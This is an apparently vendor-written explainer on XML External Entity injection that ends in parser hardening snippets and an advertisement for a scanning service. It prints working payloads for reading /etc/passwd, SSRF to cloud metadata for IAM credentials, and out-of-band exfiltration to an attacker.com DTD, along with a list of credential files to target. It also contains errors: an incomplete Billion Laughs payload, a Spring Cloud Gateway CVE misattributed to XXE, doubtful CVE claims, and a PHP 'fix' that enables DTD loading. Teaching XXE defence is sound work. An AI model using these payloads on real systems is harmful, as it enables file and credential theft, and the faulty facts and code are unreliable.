What Is XML External Entity Injection?
XML External Entity injection — universally shortened to XXE — is a class of vulnerability that arises when an XML parser processes XML input containing a reference to an external entity. If the parser is configured to resolve those references (which is the default in many XML libraries), an attacker can use them to read files from the server's filesystem, trigger server-side request forgery, perform denial-of-service attacks, or in some cases achieve remote code execution.
XXE is listed in the OWASP Top 10 (A05:2021 — Security Misconfiguration) and has been the root cause of high-profile breaches at major organisations. Despite being well-understood, it continues to appear in production systems because XML parsing is often an afterthought, hidden deep in libraries handling document uploads, SOAP APIs, or data feeds.
XML Entities: The Foundation
XML supports a feature called entities — essentially named variables embedded in a document. A basic entity looks like this:
```xml <?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY greeting "Hello, world"> ]> <root>&greeting;</root> ```
The parser replaces `&greeting;` with `Hello, world`. This is the DTD (Document Type Definition) feature that makes XXE possible.
External entities extend this concept by loading content from a URI rather than defining it inline:
```xml <?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com/data.txt"> ]> <root>&ext;</root> ```
An XXE attack replaces that URI with something interesting — a local file path, an internal network address, or a protocol handler.
Basic File Read
The most common XXE payload reads a file from the server:
```xml <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <userdata> <name>&xxe;</name> </userdata> ```
If the application reflects the parsed `<name>` value in its response, the attacker receives the contents of `/etc/passwd`. On Windows targets, the equivalent target is `file:///C:/Windows/win.ini` or application configuration files containing database credentials.
On Linux systems, high-value targets include: - `/etc/passwd` — User account information - `/proc/self/environ` — Environment variables, often containing credentials - `/var/www/html/config.php` — Web application database credentials - `~/.ssh/id_rsa` — SSH private keys - Application-specific configuration files containing API keys or secrets
Server-Side Request Forgery via XXE
When the application does not reflect parsed entity values in its response, the attacker can still trigger network requests from the server:
```xml <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/"> ]> <root>&xxe;</root> ```
This URL is the AWS instance metadata endpoint. From a vulnerable application running in AWS, this request returns IAM credentials that grant access to the AWS account. The same technique applies to internal APIs, admin interfaces, and cloud metadata endpoints (GCP uses `http://metadata.google.internal`, Azure uses `http://169.254.169.254/metadata`).
Blind XXE
In many cases the application processes the XML but does not return entity values in the response. The attack still works — it just requires an out-of-band channel.
**DNS-based detection:**
```xml <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://attacker-collaborator.com/"> ]> <root>&xxe;</root> ```
Even if no content is returned, a DNS lookup to the attacker's domain proves the parser resolved the entity and the vulnerability exists.
**Out-of-band exfiltration using parameter entities:**
```xml <!DOCTYPE foo [ <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd"> %dtd; ]> <root>&send;</root> ```
Where `evil.dtd` on the attacker's server contains:
```xml <!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker.com/?data=%file;'>"> %all; ```
This chain loads the file content, embeds it in a URL, and makes an HTTP request to the attacker's server — exfiltrating the file contents even when the application returns no visible output.
Billion Laughs (DoS)
XXE also enables a Denial of Service attack known as the Billion Laughs attack, using recursive entity expansion:
```xml <?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz> ```
Each level multiplies by ten. By level nine, the expanded content is approximately one gigabyte. This crashes or severely degrades XML parsers that attempt to expand the entities in memory.
Real-World CVEs
**CVE-2018-1000525 (Facebook Messenger)** — Researchers discovered that Facebook's Messenger for Android parsed XML in received messages. An XXE payload in a message could read files from the device's filesystem.
**CVE-2019-17554 (Apache Solr)** — A blind XXE in Apache Solr's DataImportHandler allowed attackers to perform SSRF against internal network services, potentially accessing admin interfaces and cloud metadata endpoints.
**CVE-2021-27963 (SolarWinds Orion)** — Multiple XXE vulnerabilities in SolarWinds Orion enabled attackers to read configuration files and perform internal network scanning.
**CVE-2022-22947 (Spring Cloud Gateway)** — XXE contributed to a code injection chain in Spring Cloud Gateway that was actively exploited in the wild.
Where XXE Appears
XXE is most commonly found in:
- **File upload endpoints** — DOCX, XLSX, SVG, RSS, Atom, and other XML-based formats - **SOAP web services** — The entire SOAP protocol is built on XML - **Document processing** — Invoice parsers, report generators, data import tools - **Content negotiation** — Applications that accept both JSON and XML - **Third-party libraries** — PDF generators, Office document converters, and data transformation tools that use XML internally
How to Prevent XXE
The fix is universal: disable external entity processing in your XML parser. The implementation depends on the library:
**Python (lxml):** ```python from lxml import etree parser = etree.XMLParser(resolve_entities=False, no_network=True) tree = etree.parse(xml_file, parser) ```
**Java (DocumentBuilderFactory):** ```java DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); ```
**PHP:** ```php libxml_disable_entity_loader(true); $dom = new DOMDocument(); $dom->loadXML($xml, LIBXML_NONET | LIBXML_DTDLOAD); ```
If your application does not need external entities or DTD processing at all — and most applications do not — disabling both entirely is the safest configuration.
How Yrzo AI Detects XXE
Yrzo AI's scanner identifies XML-consuming endpoints across your application and probes them with a range of XXE payloads: inline file read attempts, out-of-band DNS-based probes using Burp Collaborator-style infrastructure, and blind SSRF tests targeting cloud metadata addresses. Every confirmed finding includes the payload, the response or out-of-band evidence, and a fix mapped to the specific parser or library in use.
[Scan your application at yrzoai.dev](https://yrzoai.dev) and know whether your XML parsing is safe before an attacker finds out.
Find out if your website has these vulnerabilities
Yrzo AI runs 44 automated security checks and delivers a full report in under 20 minutes. Starting from £399.
Scan your website →